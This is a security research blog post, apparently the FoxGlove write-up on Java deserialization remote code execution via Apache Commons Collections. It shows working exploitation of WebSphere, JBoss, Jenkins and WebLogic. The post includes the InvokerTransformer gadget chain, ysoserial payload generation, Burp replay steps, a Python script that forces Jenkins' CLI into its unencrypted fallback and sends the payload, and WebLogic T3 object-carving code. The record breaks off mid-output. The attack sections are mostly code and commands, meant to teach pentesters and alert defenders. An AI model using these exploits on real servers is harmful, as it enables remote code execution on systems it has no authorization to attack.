`InvokerTransformer(``"getMethod"``, ``new` `Class[] {`` ``String.``class``,
Class[].``class` `}, ``new` `Object[] {`` ``"getRuntime"``, ``new`
`Class[``0``] }),`` ``new` `InvokerTransformer(``"invoke"``, ``new` `Class[]
{`` ``Object.``class``, Object[].``class` `}, ``new` `Object[] {`` ``null``,
``new` `Object[``0``] }),`` ``new` `InvokerTransformer(``"exec"``,`` ``new`
`Class[] { String.``class` `}, execArgs),`` ``new` `ConstantTransformer(``1``)
};` ` ``final` `Map innerMap = ``new` `HashMap();` ` ``final` `Map lazyMap =
LazyMap.decorate(innerMap, transformerChain);` ` ``final` `Map mapProxy =
Gadgets.createMemoitizedProxy(lazyMap, Map.``class``);` ` ``final`
`InvocationHandler handler =
Gadgets.createMemoizedInvocationHandler(mapProxy);` `
``Reflections.setFieldValue(transformerChain, ``"iTransformers"``,
transformers); ``// arm with actual transformer chain `` ` ` ``return`
`handler;``}`  
---|---  
The original presentation was a little light on the details of how this works
for those who aren’t too familiar with Java. Matthias Kaiser recently gave a
talk and walked through it in a little more detail. I’ll avoid explaining it
entirely as we’ll focus more on the applicability of unserialize exploits. The
take-away from this is that the “Objects” you see in the code above are the
ones required for exploitation. If those aren’t available, this exploit wont
work.

The original researchers published code on GitHub to generate payloads.

## How Common Is Commons?

Having a vulnerability in a commonly used library is one thing, but one of the
reasons this may not have gotten the attention deserved is that it’s
applicability wasn’t well demonstrated. This library is used all over the
place. A quick search on GitHub for “commons-collection” yields over 1300
results.

This section will describe a simple process that you can use to identify
whether an application might be vulnerable. I’ll use WebLogic as an example.

First, navigate to the directory where your target application is installed,
for example, I have WebLogic installed in “/opt/OracleHome”. Next, we want to
see if WebLogic comes bundled with the “commons-collections” library, to do
this we’ll grep for one of the classes that we know is required by the exploit
called “InvokerTransformer”:

123456789101112| `root@us-l-breens:~``# cd /opt/OracleHome/``root@us-l-
breens:``/opt/OracleHome``# grep -R InvokerTransformer .``Binary ``file`
`.``/servers/AdminServer/tmp/``.appmergegen_1446685824694_jenkins.war``/META-
INF/``.WL_internal``/cache/jenkins``.war/.classinfos/.cache.ser
matches``Binary ``file`
`.``/servers/AdminServer/tmp/``.appmergegen_1446685824694_jenkins.war``/WEB-
INF/lib/commons-collections-3``.2.1.jar matches``Binary ``file`
`.``/servers/AdminServer/tmp/_WL_user/jenkins/tw9byh/META-
INF/``.WL_internal``/cache/jenkins``.war/.classinfos/.cache.ser
matches``Binary ``file`
`.``/servers/AdminServer/tmp/_WL_user/jenkins/3c5quy/war/WEB-INF/lib/commons-
collections-3``.2.1.jar matches``Binary ``file`
`.``/servers/AdminServer/tmp/``.appmergegen_1446685776500_jenkins.war``/META-
INF/``.WL_internal``/cache/jenkins``.war/.classinfos/.cache.ser
matches``Binary ``file`
`.``/servers/AdminServer/tmp/``.appmergegen_1446685776500_jenkins.war``/WEB-
INF/lib/commons-collections-3``.2.1.jar matches``Binary ``file`
`.``/servers/AdminServer/tmp/``.appmergegen_1446685837432_jenkins.war``/META-
INF/``.WL_internal``/cache/jenkins``.war/.classinfos/.cache.ser
matches``Binary ``file`
`.``/servers/AdminServer/tmp/``.appmergegen_1446685837432_jenkins.war``/WEB-
INF/lib/commons-collections-3``.2.1.jar matches``Binary ``file`
`.``/oracle_common/modules/com``.bea.core.apache.commons.collections.jar
matches``Binary ``file`
`.``/oracle_common/modules/com``.bea.core.apache.commons.collections.jar.bck
matches`  
---|---  
The above shows that I have multiple instances of the vulnerable library
available within WebLogic. The default one sits at
“./oracle\_common/modules/com.bea.core.apache.commons.collections.jar”. I also
installed Jenkins on top of WebLogic, and it came with its own version of the
library at
“./servers/AdminServer/tmp/.appmergegen\_1446685824694\_jenkins.war/WEB-
INF/lib/commons-collections-3.2.1.jar”.

At this point we’ve determined that the library MIGHT be available to our
target at runtime, but this isn’t guaranteed. When the application is run, it
may not actually load the JAR file. We’ll go on the assumption that if it’s
there, it’s used.

If you’re responsible for defense, now might be a good time to tell dev or ops
that they have an issue.

## Exploit Dev for Skiddies

So you found an application or application server that comes bundled with the
vulnerable commons library? Then buckle up, this section in combination with
the examples should give you enough to develop a working exploit.

### What Am I Looking For?

The first thing you need to do is find a part of the application that takes a
serialized object as input. It would help if you knew what a serialized object
looked like. Luckily they’re pretty easy to spot. Let’s take a look at the
hexdump of some Jenkins traffic:  
<img src='img/objectexample.png' width='434' height='278' alt='Example Object'
/>

There are two separate Java objects in the above screenshot. One is base64
encoded and can be seen in the rightmost column beginning with “rO0AB”.

The other is raw binary going over the wire, so we’ll have to look at the hex
column in the middle. It begins with the bytes “ac ed 00 05 73 72”.

This is what serialized Java objects look like, they can be identified by this
header. They always begin with “ac ed 00 05…” and when that is base64 encoded
it comes out as “rO0…”. Keep an eye open for those two strings.

### How Do I Find It

Sometimes the front-end web interface will take serialized objects in HTTP
parameters or cookies. In this case, they will be base64 encoded, so look out
for the base64 string “rO0..” while running the application through an
intercepting proxy like BurpSuite.

In my experience, the most common usage of serialized objects is not through
HTTP, but other protocols running on different ports that you aren’t expected
to talk to. To list the ports that your application is listening on try this:

123456| `root@us-l-breens:``/opt``# lsof -i -P | grep java | grep LISTEN``java 6923 root 53u IPv6 2136625 0t0 TCP *:8080 (LISTEN)``java 6923 root 58u IPv6 2136629 0t0 TCP *:8009 (LISTEN)``java 6923 root 125u IPv6 2138434 0t0 TCP localhost:8005 (LISTEN)``java 6923 root 268u IPv6 2138692 0t0 TCP *:33758 (LISTEN)``java 6923 root 272u IPv6 2137594 0t0 TCP *:53289 (LISTEN)`  
---|---  
The above shows the results from my Tomcat server running Jenkins. Those high
numbered ports, and port 8009 might be interesting and would be worth Googling
or otherwise looking into.

If you see port 1099, that’s Java RMI. RMI by definition just uses serialized
objects for all communication. This is trivially vulnerable, as seen in our
OpenNMS exploit

How do you actually stimulate traffic to these ports? Well they must be open
for a reason. Open up Wireshark, see if anything that looks like a serialized
object is going into them. Try running some of the scripts or command-line
tools that come with the application or application server. For example
Jenkins, WebLogic, and WebSphere all have commandline tools that use
serialized objects as we’ll see later.

If the traffic is encrypted, you’re going to need to find a way to read it.
Maybe setup a proxy that can handle SSL man in the middle like Burp and relay
the traffic through that. An example of this can be seen in the WebSphere
exploit.

### Found Serialized Data – Now What?

Now the fun begins.

First let’s generate a payload for testing. Go download the “ysoserial” tool
from GitHub. Run it with something like this:

1| `java -jar ``/path/to/ysoserial-0``.0.2-SNAPSHOT-all.jar
CommonsCollections1 ``'touch /tmp/pwned'` `> payload.out`  
---|---  
Now when you’re testing, if you see a file created at /tmp/pwned, you know it
ran. Obviously this payload isn’t going to get you very far as a pentester, if
you’re doing this professionally, I’ll leave that part up to you.

I’m going to stick to a high level description here because in the next
section we’ll get into all the nitty gritty technical details of what to do.
The idea is that you want to take whatever you saw happening on the network,
and replay that with ONE important change – you want to replace whatever the
serialized object was with a payload generated by the “ysoserial” tool.

This sounds easy, and often is, but there can be some “gotchas” along the way.
In the next section I’ll describe a few of these and how we dealt with them.

Now for the moment you’ve all been waiting for…

## Exploit 1 – WebSphere

WebSphere was the first target I picked for this exploit because I had some
extensive experience mucking around with it. It also turned out to be one of
the easier ones.

The entry point is on TCP port 8880. This is a management port and unlikely to
be exposed to the Internet, but if you can get on the same network as a
WebSphere box, it’s game over.

### Vulnerability Detection

One of the hardest parts of this whole process is just getting a copy of
WebSphere up and running. If you can do that you’ll be fine. If you left
everything default, you should be able to launch it like this:

1| `root@us-l-breens:``/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/bin``#
./startServer.sh server1`  
---|---  
First let’s see if our vulnerable library is anywhere to be found:

1234567| `root@us-l-breens:``/opt/IBM``# find . -iname
"*commons*collection*"``.``/WebSphere/AppServer/optionalLibraries/Apache/Struts/1``.1``/commons-
collections``.jar``.``/WebSphere/AppServer/optionalLibraries/Apache/Struts/1``.2.4``/commons-
collections``.jar``.``/WebSphere/AppServer/plugins/com``.ibm.ws.prereq.commons-
collections.jar``.``/WebSphere/AppServer/systemApps/LongRunningScheduler``.ear``/JobManagementWeb``.war``/WEB-
INF/lib/commons-
collections``.jar``.``/WebSphere/AppServer/systemApps/isclite``.ear``/commons-
collections``.jar``.``/WebSphere/AppServer/deploytool/itp/plugins/com``.ibm.websphere.v85_2.0.0.v20120621_2102``/wasJars/com``.ibm.ws.prereq.commons-
collections.jar`  
---|---  
Check.

Next let’s take a look at what ports are open

1234567891011| `root@us-l-breens:``/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/bin``# lsof -i -P | grep LISTEN |grep java``java 15269 root 121u IPv6 2352865 0t0 TCP *:8880 (LISTEN)``java 15269 root 125u IPv6 2352866 0t0 TCP localhost:9633 (LISTEN)``java 15269 root 320u IPv6 2353308 0t0 TCP *:9100 (LISTEN)``java 15269 root 322u IPv6 2352862 0t0 TCP *:9403 (LISTEN)``java 15269 root 323u IPv6 2352863 0t0 TCP *:9402 (LISTEN)``java 15269 root 325u IPv6 2352864 0t0 TCP *:2809 (LISTEN)``java 15269 root 585u IPv6 2350042 0t0 TCP *:9060 (LISTEN)``java 15269 root 586u IPv6 2350043 0t0 TCP *:9080 (LISTEN)``java 15269 root 587u IPv6 2350044 0t0 TCP *:9443 (LISTEN)``java 15269 root 588u IPv6 2352868 0t0 TCP *:9043 (LISTEN)`  
---|---  
Holy attack surface Batman\! WebSphere by default listens on all interfaces on
10 TCP ports.

Some Googling about what the various ports are for led me to the tool
“wsadmin.sh”. The “wsadmin” tool talk to WebSphere on port 8880 by default.
Let’s see if we can get in the middle of that communication to see whats going
on…

First we’ll edit the configuration file for wsadmin at
“/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/wsadmin.properties”.
There we’ll find the following setting:

123456|
`#-------------------------------------------------------------------------``#
The port property determines what port is used when attempting``# a
connection.``# The default SOAP port for a single-server installation is
8880``#-------------------------------------------------------------------------``com.ibm.ws.scripting.port=8880`  
---|---  
Let’s change that from 8880 to something like 1880. Next we’ll fire up
Burpsuite and set the proxy configuration as shown:  
<img src='img/burpconfigwebsphere.png' width='434' height='278' alt='Burp
Config' />

If you look at the settings carefully, Burp is listening on port 1880, the
same port that we configured wsadmin to connect to. It’s going to then relay
all traffic to “127.0.0.1:8880”, where WebSphere is listening for it. This
lets us intercept and modify traffic from the wsadmin tool. With that in mind,
let’s just run the “wsadmin.sh” script.

If you did it right, a pop up window will appear and ask you to accept the
certificate generated by Burp \(the tool uses SSL to encrypt communications\),
after that it will ask you to login. From here you can play around, send
commands, and see in Burp what they are doing, as shown below:  
<img src='img/websphereactivity.png' width='434' height='278' alt='Example
Object' />

If you look closely at your own traffic, or the above screenshot, these are
raw, serialized Java objects flying over the wire\! Notice the “rO0…” – that
indicates a base64 encoded object. So how do we exploit this?

### Exploit with Burp

Let’s send one of the interesting requests over to Burp Repeater.  
<img src='img/wsexploit-req.png' width='434' height='278' alt='Example Object'
/>

We can see that a serialized object starts at the magic string “rO0….”. Let’s
remove that base64 encoded chunk and replace it with a payload.

Since the original object was base64 encoded, our payload will have to be to –
easy enough, using the payload you generated with the ysoserial tool, do the
following:

1| `breens@us-l-breens:~``/Desktop``$ ``cat` `payload.out | ``base64` `-w 0 > payload.out.b64`  
---|---  
Now, in Burp Repeater, just go to where you deleted the old base64 chunk,
right click, choose “Paste from file”, and load “payload.out.b64”.

Hit “Go” and watch the shells roll in\! That easy\!

## Exploit 2 – JBoss

If you thought WebSphere was easy, wait until you see this one. I chose JBoss
second because, again I was familiar with it, and I knew where I could send
serialized objects.

A well known vulnerability in JBoss involves interacting with the
“JMXInvokerServlet” that is VERY often left open so anyone can talk to it. JMX
is a Java management protocol, the JMXInvokerServlet in JBoss lets you
interact with it over HTTP. It relies on Java serialized objects for
communication – thats just how it works.

Interestingly the JMXInvokerServlet that this exploit requires to work is very
often left open to the Internet and has a history of issues.

### Vulnerability Detection

JBoss can run on any port, but the default install runs on port 8080. I also
just happen to know that the JMXInvokerServlet sits at the URI path
http://localhost:8080/invoker/JMXInvokerServlet . If you visit it in a web
browser, it will actually send you a raw Java object back, a pretty good
indication that it’s going to be vulnerable to this.

Interestingly this vulnerability is very often exposed to the Internet. Since
the JMXInvokerServlet runs on the same port as the main web application, it
wont be blocked by a firewall like some of the other exploit methods detailed
in this post.

Given that we have a pretty good hunch about the JMXInvokerServlet
communicating with serialized objects, let’s see if the commons collection jar
file is available…

1234567| `root@us-l-breens:``/opt/jboss-6``.1.0.Final``# grep -R
InvokerTransformer .``Binary ``file`
`.``/server/standard/deployers/jsf``.deployer``/MyFaces-2``.0``/jsf-
libs/commons-collections-3``.2.jar matches``Binary ``file`
`.``/server/all/deployers/jsf``.deployer``/MyFaces-2``.0``/jsf-libs/commons-
collections-3``.2.jar matches``Binary ``file`
`.``/server/default/deployers/jsf``.deployer``/MyFaces-2``.0``/jsf-
libs/commons-collections-3``.2.jar matches``Binary ``file`
`.``/common/deploy/admin-console``.war``/WEB-INF/lib/commons-
collections-3``.2.jar matches``Binary ``file` `.``/common/lib/commons-
collections``.jar matches``Binary ``file` `.``/client/commons-
collections``.jar matches`  
---|---  
### Exploitation With Burp

Remember how last time we used Burp Repeated to “Paste from file” into the
part of the request that housed the object? Well this time, the request ONLY
consists of an object. Just create the POST request shown in the image, and
use “Paste from file” to paste in the binary generated by “ysoserial”.

The only thing you have to make sure of is that your HTTP headers are correct.
I scraped these out of some old code I had, I forget where I had gotten them
originally. The following shows the complete payload that got us RCE:  
<img src='img/jbossrce.png' width='434' height='278' alt='JBoss RCE' />

## Exploit 3 – Jenkins

EDIT: Jenkins has responded very quickly and released the following
mitigation.

Jenkins is something we see on internal penetration tests all the time. It
also usually stores quite a bit of intellectual property, which makes this
really exciting.

The exploit requires you to have access to a high numbered TCP port running on
the Jenkins machine, so it’s unlikely this one will work from the Internet.

### Vulnerability Detection

To start, I fired up a local instance of the application running in Tomcat and
used grep to see if it had a copy of the vulnerable library:

12| `root@us-l-breens:``/opt/apache-tomcat-8``.0.28``# grep -R
"InvokerTransformer" .``Binary ``file` `.``/webapps/ROOT/WEB-INF/lib/commons-
collections-3``.2.1.jar matches`  
---|---  
With that confirmed, I ran “lsof” to see what ports it was listening on:

123456| `root@us-l-breens:``/opt``# lsof -i -P | grep java | grep LISTEN``java 6923 root 53u IPv6 2136625 0t0 TCP *:8080 (LISTEN)``java 6923 root 58u IPv6 2136629 0t0 TCP *:8009 (LISTEN)``java 6923 root 125u IPv6 2138434 0t0 TCP localhost:8005 (LISTEN)``java 6923 root 268u IPv6 2138692 0t0 TCP *:33758 (LISTEN)``java 6923 root 272u IPv6 2137594 0t0 TCP *:53289 (LISTEN)`  
---|---  
The high numbered ports were interesting and we decided to explore this a bit
further. My coworker Justin \(@jstnkndy\) found that Jenkins actually comes
bundled with a command line tool which was located at “./webapps/ROOT/WEB-
INF/jenkins-cli.jar”. The tool was run with “java -jar ./webapps/ROOT/WEB-
INF/jenkins-cli.jar”

We fired up WireShark and took at a look at the traffic the tool generated
when it was used. It did go to that high numbered port, but unfortunately it
was SSL encryped… Bummer.

A quick review of the code for the client program revealed how it worked. The
relevant code snippet can be seen below:

12345678910111213141516171819202122232425262728293031| `protected` `CliPort
getCliTcpPort(String url) ``throws` `IOException {`` ``URL _url = ``new`
`URL(url);`` ``if` `(_url.getHost()==``null` `||
_url.getHost().length()==``0``) {`` ``throw` `new` `IOException(``"Invalid
URL: "``+url);`` ``}`` ``URLConnection head = _url.openConnection();`` ``try`
`{`` ``head.connect();`` ``} ``catch` `(IOException e) {`` ``throw`
`(IOException)``new` `IOException(``"Failed to connect to
"``+url).initCause(e);`` ``}` ` ``String h = head.getHeaderField(``"X-Jenkins-
CLI-Host"``);`` ``if` `(h==``null``) h = head.getURL().getHost();`` ``String
p1 = head.getHeaderField(``"X-Jenkins-CLI-Port"``);`` ``if` `(p1==``null``) p1
= head.getHeaderField(``"X-Hudson-CLI-Port"``); ``// backward compatibility``
``String p2 = head.getHeaderField(``"X-Jenkins-CLI2-Port"``);` ` ``String
identity = head.getHeaderField(``"X-Instance-Identity"``);` `
``flushURLConnection(head);`` ``if` `(p1==``null` `&& p2==``null``) {`` ``//
we aren't finding headers we are expecting. Is this even running Jenkins?``
``if` `(head.getHeaderField(``"X-Hudson"``)==``null` `&&
head.getHeaderField(``"X-Jenkins"``)==``null``)`` ``throw` `new`
`IOException(``"There's no Jenkins running at "``+url);` ` ``throw` `new`
`IOException(``"No X-Jenkins-CLI2-Port among "` `+
head.getHeaderFields().keySet());`` ``}` ` ``if` `(p2!=``null``) ``return`
`new` `CliPort(``new`
`InetSocketAddress(h,Integer.parseInt(p2)),identity,``2``);`` ``else` `return`
`new` `CliPort(``new`
`InetSocketAddress(h,Integer.parseInt(p1)),identity,``1``);`  
---|---  
The first thing the Java client does when launched is try to find out what
port the CLI listener is running on – apparently this is dynamic and
randomized every boot. This can be seen on lines 14 and 16 in the snippet
above. We captured the actual HTTP request that does this in Burp and it is
shown below:

<img src='img/burpjenkins.png' width='434' height='278' alt='Burp' />

Apparently there are two versions of the Jenkins CLI protocol, and only
version 2 supports SSL. On line 30, we can see that if Jenkins fails to get
the header for the port for CLI version 2, called “X-Jenkins-CLI2-Port”, it
falls back to version 1. This was easy to influence, we just deleted it from
the response in Burp. Predictably Jenkins fell back to the unencrypted CLI
version 1\!

Looking at the traffic in wireshark, we immediately saw the serialized objects
being exchanged as shown in the following screenshot:  
<img src='img/objectexample.png' width='434' height='278' alt='Example Object'
/>

### Exploit Development

#### Process

Now that we knew it was using serialized objects for communication, we had to
replicate the first few messages in the protocol. I chose python to do this
because it’s quick and easy to work with.

Let’s take a look at the first few packets sent from the CLI client to the
Jenkins server in Wireshark:  
<img src='img/firstjenkinspackets.png' width='434' height='278' alt='First
Packets' />

The red is from the client to the server, the blue is the servers reply. This
is a custom “Jenkins” protocol, so we have to play nicely, we can’t just go
sending objects right at it like we did with WebSphere and JBoss. To
accomodate this, we need to send the first packet which consists of the
following:

12| `00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc
ol:CLI-c``00000010 6f 6e 6e 65 63 74 onnect`  
---|---  
Then we need to read the response back from the server, we can just throw it
away if we want to, but we have to at least give it a chance to reply. Then we
can send our second packet. Notice from the screenshot that this packet
contains a serialized object \(two infact\). The first object is base64
encoded, which makes it a little easier to work with, so that’s the one we’ll
be replacing with our payload. The object I’m talking about is made up of the
following bytes, starting with “rO0”

123456| `00000036 3d 3d 3e 72 4f 30 41 42 58 4e 79 41 42 70 6f 64 ==>rO0AB
XNyABpod``00000046 57 52 7a 62 32 34 75 63 6d 56 74 62 33 52 70 62 WRzb24uc
mVtb3Rpb``00000056 6d 63 75 51 32 46 77 59 57 4a 70 62 47 6c 30 65 mcuQ2FwY
WJpbGl0e``00000066 51 41 41 41 41 41 41 41 41 41 42 41 67 41 42 53 QAAAAAAA
AABAgABS``00000076 67 41 45 62 57 46 7a 61 33 68 77 41 41 41 41 41 gAEbWFza
3hwAAAAA``00000086 41 41 41 41 50 34 3d AAAAP4=`  
---|---  
To slightly complicate matters, we may also need to send the rest of that
second packet, all the stuff that comes after the base64, so that Jenkins will
behave correctly.

#### Python Exploit

Let’s break this down a few lines at a time. I won’t be pasting the full
payload into the code because it takes too much space, see GitHub for running
code.

First, we need to find out what port Jenkins CLI is running on on our target
machine, the following code makes an HTTP request and reads the appropriate
header that has that information in the response into the variable
“cli\_port”:

1234567891011121314| `#!/usr/bin/python` `#usage: ./jenkins.py host port
/path/to/payload``import` `socket``import` `sys``import` `requests``import`
`base64` `host ``=` `sys.argv[``1``]``port ``=` `sys.argv[``2``]` `#Query
Jenkins over HTTP to find what port the CLI listener is on``r ``=`
`requests.get(``'http://'``+``host``+``':'``+``port)``cli_port ``=`
`int``(r.headers[``'X-Jenkins-CLI-Port'``])`  
---|---  
Next, we need to make a TCP connection to that port on the remote host so we
can send our payload:

12345| `#Open a socket to the CLI port``sock ``=`
`socket.socket(socket.AF_INET, socket.SOCK_STREAM)``server_address ``=`
`(host, cli_port)``print` `'connecting to %s port %s'` `%`
`server_address``sock.connect(server_address)`  
---|---  
Finally we can get started. Remember that first packet in the stream we saw in
wireshark that initiated the CLI protocol? Let’s send that to the remote
server and read it’s response, it responds with 2 packets, so we’ll call
“recv” twice:

12345678910| `# Send
headers``headers``=``'\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'``print`
`'sending "%s"'` `%` `headers``sock.send(headers)` `data ``=`
`sock.recv(``1024``)``print` `>>sys.stderr, ``'received "%s"'` `%` `data`
`data ``=` `sock.recv(``1024``)``print` `>>sys.stderr, ``'received "%s"'` `%`
`data`  
---|---  
You might be wondering where all that “\x00\x14” stuff came from. I just
copied it out of Wireshark and used some magic keyboard shortcuts in
SublimeText to cut out the middle column of hex, I’m going to do that with the
payloads too. This lets us send raw, unadulterated binary data to the server.

Next we need to construct our payload:

123| `payloadObj ``=` `open``(sys.argv[``3``],``'rb'``).read()``payload_b64
``=`
`base64.b64encode(payloadObj)``payload``=``'\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'``+``payload_b64``+``'\x00\x00\x00\x00\x11\x2d\xac..........`  
---|---  
The variable “payloadObj” is just the binary generated by the “ysoserial”
tool. I have this as the third argument to the script. I then base64 encode
this. Remember that the object in the TCP stream we saw was base64 encoded.

Next we construct the payload by concatenating the first set of bytes, which
is actually just “<===\[JENKINS REMOTING CA PACITY\]===>” in hex, with the
base64’d payload. Finally we contactenate ALL of that with the remainder of
the bytes from the packet we saw in the TCP stream, these were just
copied/pasted from Wireshark.

Finally, we fire that payload off at the Jenkins server:

12345| `print` `'sending payload...'``'''outf =
open('payload.tmp','w')``outf.write(payload)``outf.close()'''``sock.send(payload)`  
---|---  
And we confirm the the file exits at /tmp/pwned\!

12| `breens@us-l-breens:~$ ``ls` `/tmp/pwned``/tmp/pwned`  
---|---  
## Exploit 4 – WebLogic

WebLogic was a bit of a headache but really interesting. To be honest, we see
it less often in the wild, but it is out there.

I’m not very familiar with WebLogic. The exploit runs against the default
install on port 7001 – the default and only listening port. WebLogic is kind
of cool because it proxies all requests through this port, HTTP, SNMP, T3, and
a few other protocols. Depending what protocol it detects it as, it routes it
to the right place.

With that said, it’s possible that this vulnerability could be used against
WebLogic servers on the Internet due to the fact that it’s unlikely a firewall
will get in your way.

### Vulerability Detection

For anyone who has actually read this far, congratulations, I think you can
guess what I’m about to do.

First I grep for the vulnerable classes to see if WebLogic comes bundled with
them:

12| `root@us-l-breens:``/opt/OracleHome``# grep -R InvokerTransformer
.``Binary ``file`
`.``/oracle_common/modules/com``.bea.core.apache.commons.collections.jar
matches`  
---|---  
Looks like it’s there. Interestingly they renamed the jar file, so if you were
just looking for “commons-collections.jar” you might not have found it.

Next we need to find an entry point where we can send serialized objects. I’ve
had pretty good luck monitoring the traffic coming from commandline tools so
far, so why not try it again.

Just fire up wireshark to watch the traffic, and then run the command to stop
the server, I purposely typed the wrong password to make sure we aren’t
cheating:

1234567891011121314151617181920212223| `root@us-l-
breens:``/opt/OracleHome/user_projects/domains/base_domain/bin``#
./stopWebLogic.sh ``Stopping Weblogic Server...` `Initializing WebLogic
Scripting Tool (WLST) ...` `Welcome to WebLogic Server Administration
Scripting Shell` `Type help() ``for` `help on available commands` `Please
enter your username :weblogic``Please enter your password :``Connecting to
t3:``//us-l-breens``:7001 with userid weblogic ...``This Exception occurred at
Thu Nov 05 18:32:46 EST 2015.``javax.naming.AuthenticationException: User
failed to be authenticated. [Root exception is java.lang.SecurityException:
User failed to be authenticated.]``Problem invoking WLST - Traceback
(innermost last):`` ``File
``"/opt/OracleHome/user_projects/domains/base_domain/shutdown-
AdminServer.py"``, line 3, ``in` `?`` ``File ``"<iostream>"``, line 19, ``in`
`connect`` ``File ``"<iostream>"``, line 553, ``in`
`raiseWLSTException``WLSTException: Error occurred ``while` `performing
connect : User failed to be authenticated. : User failed to be authenticated.
``Use dumpStack() to view the full stacktrace :` `Done``Stopping Derby
Server...`  
---|---  
Lets take a look at what that generated in Wireshark:

<img src='img/weblogic-dump.png' width='434' height='278' alt='WebLogic Dump'
/>

Somewhere about halfway down in that screenshot, we see the magic bytes “ac ed
00 05”.

### Exploit Development

Similar to Jenkins, we’re going to have to wrap our payload in some magic.
WebLogic is using the “T3” protocol. The T3 protocol, just like HTTP can
transport arbitrary data, and in this case it is carrying serialized Java
objects.

Unlike HTTP it’s not very well documented and is a binary protocol, so is
extremely finicky. I could lie to you and say this took me 15m to figure out,
but it actually took a few hours.

#### First Attempt

Looking at the screenshot of the hex dump above, the first packet is pretty
easy to replicate, we can just copy the bytes right out of Wireshark and paste
them into a Python script, no problem. WebLogic will then respond with the
packet highlighted in blue, meaning it’s ready for us to fire over the
payload.

Things now get a bit messy. Unlike Jenkins, we don’t have a nice clean place
to plug a base64 payload into the binary stream.

A naive but good first attempt would be to copy all the bytes in the second
packet before “ac ed 00 05” \(this is the start of their serialized object\),
concatenate our payload onto the end of that, and send it over. The idea here
is that the beginning part of the packet doesn’t need to change to accomodate
our payload.

Unfortunately this wont quite work. What we need to do is insert our payload
into packet without mucking up the T3 protocol that is wrapping the Java
object.

#### Object Carving

The first thing we need to do is identify where the objects in the packet
begin and end. Right now I know that all Java objects begin with “ac ed 00
05”, but this packet consists of more than just Java objects.

To accomplish this, I wrote the following java code:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849|
`import` `java.util.Base64;``import` `java.io.InputStream;``import`
`java.io.ByteArrayInputStream;``import` `java.io.ObjectInputStream;``import`
`java.io.OptionalDataException;``import`
`java.io.StreamCorruptedException;``import` `java.util.Arrays;` `public`
`class` `DecodeObject{`` ``public` `static` `void` `main(String args[])
``throws` `Exception{`` ``int` `skip=``0``;`` ``int` `remainder = ``0``;``
``String b64 = args[``0``];`` ``byte``[] bytes =
Base64.getDecoder().decode(b64);`` ``ByteArrayInputStream bis = ``new`
`ByteArrayInputStream(bytes);`` ``int` `origSize = bis.available();``
``System.out.println(``"Data Length: "``+origSize);`` ``Object o = ``null``;``
``while``(o == ``null``){`` ``try``{`` ``bis.reset();`` ``bis.skip(skip);``
``ObjectInputStream ois = ``new` `ObjectInputStream(bis);`` ``o =
ois.readObject();`` ` ` ``System.out.println(``"Object found..."``);``
``System.out.println(o.getClass().getName());`` ``System.out.println(``"Bytes
skipped: "``+skip);`` ``System.out.println(``"Bytes left:
"``+bis.available());`` ``skip = origSize - bis.available();`` ``}`` ``catch`
`(StreamCorruptedException ode){`` ``skip = skip+``1``;`` ``bis.skip(``1``);``
``}`` ``catch` `(OptionalDataException ode){`` ``bis.skip(``1``);`` ``skip =
skip+``1``;`` ``}`` ``catch` `(ClassNotFoundException cnf)`` ``{``
``System.out.println(``"Object found..."``+cnf.getMessage());``
``System.out.println(``"Bytes skipped: "``+skip);``
``System.out.println(``"Bytes left: "``+bis.available());`` ``skip = origSize
- bis.available();`` ``}`` ``}`` ``}``}`  
---|---  
This code reads base64 encoded data from the commandline and will attempt to
locate all of the objects. I copied the interesting packet out of Wireshark,
base64 encoded it, and then ran the above code to get the following output:

1234567891011121314151617| `breens@us-l-breens:~``/Desktop``$ java
DecodeObject
AAAF9QFlAf``//////////AAAAcQAA6mAAAAAYUlE9bFBCMe28Nw2dEVsi2/jvDmamiKsFAnlzcgB4cgF4cgJ4cAAAAAwAAAACAAAAAAAAAAAAAAABAHBwcHBwcAAAAAwAAAACAAAAAAAAAAAAAAABAHAG/gEAAKztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlBhY2thZ2VJbmZv5vcj57iuHskCAAlJAAVtYWpvckkABW1pbm9ySQALcGF0Y2hVcGRhdGVJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoTAAJaW1wbFRpdGxldAASTGphdmEvbGFuZy9TdHJpbmc7TAAKaW1wbFZlbmRvcnEAfgADTAALaW1wbFZlcnNpb25xAH4AA3hwdwIAAHj``+AQAArO0ABXNyAB13ZWJsb2dpYy5yanZtLkNsYXNzVGFibGVFbnRyeS9SZYFX9PntDAAAeHByACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuVmVyc2lvbkluZm+XIkVRZFJGPgIAA1sACHBhY2thZ2VzdAAnW0x3ZWJsb2dpYy9jb21tb24vaW50ZXJuYWwvUGFja2FnZUluZm87TAAOcmVsZWFzZVZlcnNpb250ABJMamF2YS9sYW5nL1N0cmluZztbABJ2ZXJzaW9uSW5mb0FzQnl0ZXN0AAJbQnhyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm``/m9yPnuK4eyQIACUkABW1ham9ySQAFbWlub3JJAAtwYXRjaFVwZGF0ZUkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWNrWgAOdGVtcG9yYXJ5UGF0Y2hMAAlpbXBsVGl0bGVxAH4ABEwACmltcGxWZW5kb3JxAH4ABEwAC2ltcGxWZXJzaW9ucQB``+AAR4cHcCAAB4``/gEAAKztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgAhd2VibG9naWMuY29tbW9uLmludGVybmFsLlBlZXJJbmZvWFR085vJCPECAAdJAAVtYWpvckkABW1pbm9ySQALcGF0Y2hVcGRhdGVJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2a